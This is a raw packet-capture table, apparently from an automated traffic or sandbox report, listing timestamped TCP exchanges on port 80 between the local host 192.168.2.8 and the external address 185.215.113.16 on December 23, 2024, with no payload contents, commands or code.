Dec 23, 2024 17:28:42.002125978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.002175093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.003226042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.003468990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.003523111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.004522085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.004679918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.004746914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.005790949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.005899906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.006000042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.007133961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.007147074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.007214069 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.008296013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.008407116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.008493900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.009561062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.009697914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.009767056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.010914087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.011153936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.011286020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.012106895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.012146950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.012216091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.013464928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.013478994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.013565063 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.014735937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.014748096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.014847994 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.015885115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.016052961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.016107082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.017136097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.017230034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.017301083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.018543005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.018625021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.018697023 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.019644022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.019792080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.019838095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.020912886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.021038055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.021121025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.022147894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.022290945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.022376060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.023430109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.023652077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.023689032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.024712086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.024775982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.024833918 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.026070118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.026082039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.026140928 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.027216911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.027360916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.027401924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.028511047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.028533936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.028629065 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.029762983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.029906988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.029946089 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.031106949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.031172037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.031223059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.032289982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.032489061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.032542944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.033612013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.033745050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.033864975 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.034799099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.034966946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.035038948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.036067009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.036156893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.036207914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.037292957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.037395954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.037430048 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.038666010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.038778067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.038820028 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.039832115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.039922953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.040008068 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.041088104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.041240931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.041290045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.042439938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.042452097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.042498112 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.043629885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.043642998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.043693066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.044869900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.045037985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.045135975 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.046107054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.046144962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.046238899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.047549963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.047647953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.047735929 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.048718929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.048954010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.049019098 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.049989939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.050060987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.050137043 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.051162004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.051331997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.051393986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.052635908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.052651882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.052772045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.053700924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.053880930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.053930998 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.055241108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.055258036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.055332899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.056284904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.056334019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.056427956 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.057476997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.057596922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.057662964 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.058876991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.058888912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.059005976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.060022116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.060070992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.060133934 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.061320066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.061541080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.061618090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.062526941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.062598944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.062655926 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.063782930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.063985109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.064033985 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.065135956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.065197945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.065248966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.066206932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.120424032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.192594051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.192621946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.192724943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.193255901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.193269014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.193314075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.194278955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.194427967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.194510937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.195578098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.195647001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.195704937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.196891069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.196903944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.196976900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.197964907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.198090076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.198144913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.199331999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.199557066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.199695110 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.200421095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.200547934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.200598955 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.201658964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.201831102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.202150106 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.202898979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.203222990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.203592062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.204123974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.204226971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.204346895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.205346107 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.205401897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.205661058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.206538916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.206644058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.206686020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.207731962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.207806110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.207868099 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.208939075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.209079027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.209162951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.210156918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.210283041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.210331917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.211393118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.211606979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.211664915 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.212661982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.212723970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.212768078 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.213891029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.213963032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.214170933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.215883017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.216032028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.216137886 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.216346025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.216366053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.216393948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.217489004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.217575073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.217675924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.218712091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.218760967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.218811035 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.219913960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.220057011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.220118999 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.221174955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.221287966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.221381903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.222347021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.222460985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.222704887 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.223589897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.223730087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.223794937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.224806070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.225004911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.225044966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.226155043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.226169109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.226214886 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.227240086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.227348089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.227458954 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.228476048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.228571892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.228624105 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.229676962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.229790926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.229840040 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.230928898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.230994940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.231096029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.232101917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.232280970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.232522964 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.233534098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.233633041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.233669996 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.234659910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.234778881 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.234844923 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.235838890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.236032009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.236115932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.236968994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.237066984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.237180948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.238184929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.238326073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.238387108 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.239412069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.239542961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.239675999 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.240649939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.240715027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.240778923 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.241955042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.241976976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.242049932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.243077993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.243185043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.243299961 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.244319916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.244505882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.244626045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.245552063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.245723009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.245784998 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.246809959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.246922970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.246995926 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.247993946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.248102903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.248222113 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.249207020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.249545097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.249609947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.250441074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.250518084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.250590086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.251832008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.251962900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.252048969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.252849102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.252948999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.253020048 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.254101992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.254190922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.254251003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.255361080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.255639076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.255691051 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.256551027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.307837009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.385006905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.385127068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.385277987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.385586977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.385760069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.385816097 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.386941910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.387058020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.387258053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.388067961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.388204098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.388322115 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.389259100 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.389477968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.389554024 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.390579939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.390594006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.390678883 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.391942024 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.392103910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.392715931 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.393104076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.393212080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:42.393280983 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:42.394191980 CET	80	49716	185.215.113.16	192.168.2.8
